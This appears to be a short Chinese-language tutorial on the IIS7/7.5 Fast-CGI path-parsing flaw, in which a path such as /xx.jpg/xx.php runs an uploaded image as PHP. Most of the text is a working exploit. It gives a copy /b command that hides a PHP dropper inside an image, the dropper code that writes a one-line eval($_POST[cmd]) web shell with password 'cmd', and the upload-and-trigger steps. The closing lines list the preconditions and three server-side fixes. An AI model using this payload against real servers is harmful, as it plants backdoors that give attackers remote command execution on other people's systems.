IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd
注意:
该解析漏洞利用需两个条件:
1. php.ini里cgi.fix_pathinfo=1(默认为1)
2. 在”Handler Mapping”中取消勾选以下内容:
解决方案:
1. 配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序
2. 在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”
3. 重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。